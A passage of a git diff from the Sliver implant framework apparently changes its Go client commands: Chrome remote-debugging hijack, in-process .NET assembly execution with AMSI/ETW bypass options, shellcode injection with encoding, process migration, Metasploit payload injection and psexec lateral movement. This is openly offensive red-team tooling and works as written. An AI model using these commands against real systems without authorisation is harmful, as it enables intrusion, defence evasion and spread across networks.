if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
-75
View File
@@ -1,75 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func CursedRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
kill := ctx.Flags.Bool("kill")
bindPort := ctx.Args.Int("bind-port")
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
}
if !confirm {
con.PrintErrorf("User cancel\n")
return
}
// Get cursed process
var cursedProc *core.CursedProcess
curses := core.CursedProcessBySessionID(session.ID)
for _, curse := range curses {
if curse.BindTCPPort == bindPort {
cursedProc = curse
}
}
if cursedProc == nil {
con.PrintErrorf("Failed to find cursed process\n")
return
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Pid: int32(cursedProc.PID),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return
}
}
}
@@ -1,69 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality := ctx.Flags.Int64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = ioutil.WriteFile(saveFile, data, 0644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
-121
View File
@@ -1,121 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Collect existing curses from core
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
cursedProcesses = append(cursedProcesses, []string{
fmt.Sprintf("%d", curse.BindTCPPort),
strings.Split(curse.SessionID, "-")[0],
fmt.Sprintf("%d", curse.PID),
curse.Platform,
curse.ExePath,
curse.DebugURL().String(),
})
return true
})
// Display table if we have 1 or more curses
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
})
for _, rowEntries := range cursedProcesses {
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
} else {
con.PrintInfof("No cursed processes\n")
}
}
// selectCursedProcess - Interactively select a cursed process from a list
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
return true
})
if len(cursedProcesses) < 1 {
con.PrintErrorf("No cursed processes\n")
return nil
}
port2process := map[int]*core.CursedProcess{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, cursedProcess := range cursedProcesses {
fmt.Fprintf(table, "%d\t%s\t%s\n",
cursedProcess.BindTCPPort,
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
cursedProcess.ExePath)
port2process[cursedProcess.BindTCPPort] = cursedProcess
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
func getRemoteDebuggerPort(ctx *grumble.Context) int {
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
if port == 0 {
port = insecureRand.Intn(30000) + 10000
}
return port
}
+48 -45
View File
@@ -20,11 +20,13 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -50,7 +52,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
}
assemblyBytes, err := os.ReadFile(assemblyPath)
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
@@ -58,43 +60,19 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
processArgsStr := ctx.Flags.String("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
runtime := ctx.Flags.String("runtime")
etwBypass := ctx.Flags.Bool("etw-bypass")
amsiBypass := ctx.Flags.Bool("amsi-bypass")
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
if len(assemblyArgsStr) > 256 {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
ProcessArgs: processArgs,
PPid: uint32(ctx.Flags.Uint("ppid")),
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
InProcess: ctx.Flags.Bool("in-process"),
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
@@ -102,7 +80,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s", err)
return
}
hostName := getHostname(session, beacon)
hostname := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
@@ -110,27 +88,52 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
}
}
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
if saveLoot {
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+9 -38
View File
@@ -23,6 +23,7 @@ import (
"context"
"fmt"
"io"
"io/ioutil"
"log"
"os"
@@ -30,7 +31,7 @@ import (
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/term"
"golang.org/x/crypto/ssh/terminal"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
@@ -43,7 +44,6 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
rwxPages := ctx.Flags.Bool("rwx-pages")
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
@@ -51,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
}
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := os.ReadFile(shellcodePath)
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
@@ -60,37 +60,8 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
return
}
arch := ctx.Flags.String("architecture")
if arch != "386" && arch != "amd64" {
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
return
}
iter := ctx.Flags.Int("iterations")
con.PrintInfof("Encoding shellcode ...\n")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: uint32(iter),
BadChars: []byte{},
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
oldSize := len(shellcodeBin)
shellcodeBin = resp.GetData()
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
}
if interactive {
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
return
}
ctrl := make(chan bool)
@@ -98,7 +69,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: rwxPages,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
Request: con.ActiveTarget.Request(ctx),
})
@@ -154,7 +125,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
return
}
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
@@ -190,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *term.State
var oldState *terminal.State
if !noPty {
oldState, err = term.MakeRaw(0)
oldState, err = terminal.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -224,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
if !noPty {
log.Printf("Restoring terminal state ...")
term.Restore(0, oldState)
terminal.Restore(0, oldState)
}
log.Printf("Exit interactive")
+25 -137
View File
@@ -18,10 +18,7 @@ package exec
import (
"context"
"fmt"
"os"
"path/filepath"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
@@ -44,13 +41,6 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
ppid := ctx.Flags.Uint("ppid")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
var captureOutput bool = output || saveLoot || saveOutput
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -61,23 +51,21 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token || ppid != 0 {
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
PPid: uint32(ppid),
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
@@ -96,42 +84,22 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
PrintExecute(exec, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
PrintExecute(exec, ctx, con)
}
}
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
var lootedOutput []byte
stdout := ctx.Flags.String("stdout")
saveLoot := ctx.Flags.Bool("loot")
saveOutput := ctx.Flags.Bool("save")
lootName := ctx.Flags.String("name")
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
if saveLoot || saveOutput {
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
}
if saveLoot {
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
}
PrintExecute(exec, ctx, con)
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("output")
if !output {
@@ -143,14 +111,17 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
return
}
combined := ""
if stdout == "" {
con.PrintInfof("Output:\n%s", string(exec.Stdout))
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
@@ -160,96 +131,13 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
if strings.Contains(commandName, ".") {
commandName = commandName[:strings.LastIndex(commandName, ".")]
}
return commandName
}
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
var outputString string = ""
if combineStdOut {
outputString += "Output (stdout):\n" + string(exec.Stdout)
}
if combineStdErr {
if combineStdOut {
outputString += "\n"
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
outputString += "Stderr:\n" + string(exec.Stderr)
}
return []byte(outputString)
}
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
shortCommandName := determineCommandName(cmdName)
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
if lootName == "" {
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput {
SaveExecutionOutput(executionOutput, commandName, hostName, con)
}
}
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File
var err error
if len(executionOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to save.")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = os.CreateTemp("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if outFilePath != nil {
outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
-10
View File
@@ -3,17 +3,14 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -36,19 +33,12 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pid := ctx.Args.Uint("pid")
config := con.GetActiveSessionConfig()
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if ctx.Flags.Bool("disable-sgn") {
encoder = clientpb.ShellcodeEncoder_NONE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveTarget.Request(ctx),
Encoder: encoder,
})
ctrl <- true
<-ctrl
+6 -23
View File
@@ -33,8 +33,8 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -49,23 +49,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
@@ -98,15 +90,6 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+6 -29
View File
@@ -25,15 +25,14 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
@@ -47,21 +46,12 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
@@ -73,20 +63,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
PrintMsfRemote(msfTask, con)
con.PrintInfof("Executed payload on target\n")
}
}
+33 -66
View File
@@ -21,19 +21,16 @@ package exec
import (
"context"
"fmt"
"os"
insecureRand "math/rand"
"strings"
"time"
insecureRand "math/rand"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
@@ -50,12 +47,10 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
var serviceBinary []byte
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
customExe := ctx.Flags.String("custom-exe")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
@@ -66,46 +61,35 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
if customExe == "" {
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
